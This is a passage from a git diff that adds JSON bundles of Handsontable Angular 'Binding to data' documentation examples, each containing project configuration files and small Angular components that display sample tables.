{\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
\n \n
\n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component } from '@angular/core';\nimport { GridSettings, HotTableModule} from '@handsontable/angular-wrapper';\n\n@Component({\n selector: 'example1-binding-data',\n standalone: true,\n imports: [HotTableModule],\n template: `
\n \n
`,\n})\nexport class AppComponent {\n\n readonly data: Array> = [\n ['', 'Tesla', 'Nissan', 'Toyota', 'Honda', 'Mazda', 'Ford'],\n ['2017', 10, 11, 12, 13, 15, 16],\n ['2018', 10, 11, 12, 13, 15, 16],\n ['2019', 10, 11, 12, 13, 15, 16],\n ['2020', 10, 11, 12, 13, 15, 16],\n ['2021', 10, 11, 12, 13, 15, 16],\n ];\n\n readonly gridSettings: GridSettings = {\n startRows: 5,\n startCols: 5,\n colHeaders: true,\n height: 'auto',\n width: 'auto',\n autoWrapRow: true,\n minSpareRows: 1,\n autoWrapCol: true\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/getting-started/binding-to-data/angular/example1.ts","breadcrumb":["Getting Started","Binding to data"],"guide":"guides/getting-started/binding-to-data/binding-to-data.md","guideTitle":"Binding to data","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/binding-to-data","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/guides__getting-started__binding-to-data__angular__example10.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__binding-to-data__angular__example10.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__getting-started__binding-to-data__angular__example10.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__binding-to-data__angular__example10.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__getting-started__binding-to-data__angular__example11.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__binding-to-data__angular__example11.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__getting-started__binding-to-data__angular__example11.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__binding-to-data__angular__example11.ts.json diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__binding-to-data__angular__example2.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__binding-to-data__angular__example2.ts.json new file mode 100644 index 00000000..6a9873ad --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__binding-to-data__angular__example2.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Getting Started ▸ Binding to data · Array of arrays with a selective display of columns · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/angular-wrapper\": \"18.0.0\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
\n \n
\n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component } from '@angular/core';\nimport { GridSettings, HotTableModule} from '@handsontable/angular-wrapper';\n\n@Component({\n selector: 'example2-binding-data',\n standalone: true,\n imports: [HotTableModule],\n template: `
\n \n
`,\n})\nexport class AppComponent {\n\n readonly data: Array> = [\n ['', 'Tesla', 'Nissan', 'Toyota', 'Honda', 'Mazda', 'Ford'],\n ['2017', 10, 11, 12, 13, 15, 16],\n ['2018', 10, 11, 12, 13, 15, 16],\n ['2019', 10, 11, 12, 13, 15, 16],\n ['2020', 10, 11, 12, 13, 15, 16],\n ['2021', 10, 11, 12, 13, 15, 16],\n ];\n\n readonly gridSettings: GridSettings = {\n colHeaders: true,\n minSpareRows: 1,\n height: 'auto',\n width: 'auto',\n columns: [\n { data: 0 },\n // skip the second column\n { data: 2 },\n { data: 3 },\n { data: 4 },\n { data: 5 },\n { data: 6 },\n ],\n autoWrapRow: true,\n autoWrapCol: true\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/getting-started/binding-to-data/angular/example2.ts","breadcrumb":["Getting Started","Binding to data"],"guide":"guides/getting-started/binding-to-data/binding-to-data.md","guideTitle":"Binding to data","exampleId":"example2","exampleTitle":"Array of arrays with a selective display of columns","docPermalink":"/binding-to-data","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__binding-to-data__angular__example3.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__binding-to-data__angular__example3.ts.json new file mode 100644 index 00000000..e6bd3ea1 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__binding-to-data__angular__example3.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Getting Started ▸ Binding to data · Array of objects · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/angular-wrapper\": \"18.0.0\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
\n \n
\n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component } from '@angular/core';\nimport { GridSettings, HotTableModule} from '@handsontable/angular-wrapper';\n\ninterface Person {\n id: number;\n name: string;\n address: string;\n}\n\n@Component({\n selector: 'example3-binding-data',\n standalone: true,\n imports: [HotTableModule],\n template: `
\n \n
`,\n})\nexport class AppComponent {\n\n readonly data: Person[] = [\n { id: 1, name: 'Ted Right', address: '' },\n { id: 2, name: 'Frank Honest', address: '' },\n { id: 3, name: 'Joan Well', address: '' },\n { id: 4, name: 'Gail Polite', address: '' },\n { id: 5, name: 'Michael Fair', address: '' },\n ];\n\n readonly gridSettings: GridSettings = {\n colHeaders: true,\n height: 'auto',\n width: 'auto',\n minSpareRows: 1,\n autoWrapRow: true,\n autoWrapCol: true\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/getting-started/binding-to-data/angular/example3.ts","breadcrumb":["Getting Started","Binding to data"],"guide":"guides/getting-started/binding-to-data/binding-to-data.md","guideTitle":"Binding to data","exampleId":"example3","exampleTitle":"Array of objects","docPermalink":"/binding-to-data","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__binding-to-data__angular__example4.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__binding-to-data__angular__example4.ts.json new file mode 100644 index 00000000..3bf793d9 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__binding-to-data__angular__example4.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Getting Started ▸ Binding to data · Array of objects with column as a function · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/angular-wrapper\": \"18.0.0\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
\n \n
\n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component } from '@angular/core';\nimport { GridSettings, HotTableModule} from '@handsontable/angular-wrapper';\n\ninterface Person {\n id: number;\n name?: { first: string; last: string };\n address: string;\n}\n\n@Component({\n selector: 'example4-binding-data',\n standalone: true,\n imports: [HotTableModule],\n template: `
\n \n
`,\n})\nexport class AppComponent {\n\n readonly data: Person[] = [\n { id: 1, name: { first: 'Ted', last: 'Right' }, address: '' },\n { id: 2, address: '' }, // Handsontable will create missing properties on demand\n { id: 3, name: { first: 'Joan', last: 'Well' }, address: '' },\n ];\n\n readonly gridSettings: GridSettings = {\n colHeaders: true,\n height: 'auto',\n width: 'auto',\n columns: (columnIndex: number) => {\n switch (columnIndex) {\n case 0:\n return { data: 'id' };\n case 1:\n return { data: 'name.first' };\n case 2:\n return { data: 'name.last' };\n case 3:\n return { data: 'address' };\n default:\n return {};\n }\n },\n minSpareRows: 1,\n autoWrapRow: true,\n autoWrapCol: true\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/getting-started/binding-to-data/angular/example4.ts","breadcrumb":["Getting Started","Binding to data"],"guide":"guides/getting-started/binding-to-data/binding-to-data.md","guideTitle":"Binding to data","exampleId":"example4","exampleTitle":"Array of objects with column as a function","docPermalink":"/binding-to-data","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__binding-to-data__angular__example5.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__binding-to-data__angular__example5.ts.json new file mode 100644 index 00000000..0fedf0ad --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__binding-to-data__angular__example5.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Getting Started ▸ Binding to data · Array of objects with column mapping · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/angular-wrapper\": \"18.0.0\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
\n \n
\n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component } from '@angular/core';\nimport { GridSettings, HotTableModule} from '@handsontable/angular-wrapper';\n\ninterface Person {\n id: number;\n name?: { first: string; last: string };\n address: string;\n}\n\n@Component({\n selector: 'example5-binding-data',\n standalone: true,\n imports: [HotTableModule],\n template: `
\n \n
`,\n})\nexport class AppComponent {\n\n readonly data: Person[] = [\n { id: 1, name: { first: 'Ted', last: 'Right' }, address: '' },\n { id: 2, address: '' }, // Handsontable will create missing properties on demand\n { id: 3, name: { first: 'Joan', last: 'Well' }, address: '' },\n ];\n\n readonly gridSettings: GridSettings = {\n colHeaders: true,\n height: 'auto',\n width: 'auto',\n columns: [\n { data: 'id' },\n { data: 'name.first' },\n { data: 'name.last' },\n { data: 'address' },\n ],\n minSpareRows: 1,\n autoWrapRow: true,\n autoWrapCol: true\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/getting-started/binding-to-data/angular/example5.ts","breadcrumb":["Getting Started","Binding to data"],"guide":"guides/getting-started/binding-to-data/binding-to-data.md","guideTitle":"Binding to data","exampleId":"example5","exampleTitle":"Array of objects with column mapping","docPermalink":"/binding-to-data","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__binding-to-data__angular__example6.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__binding-to-data__angular__example6.ts.json new file mode 100644 index 00000000..ffe03ae1 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__binding-to-data__angular__example6.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Getting Started ▸ Binding to data · Array of objects with custom data schema · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/angular-wrapper\": \"18.0.0\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n 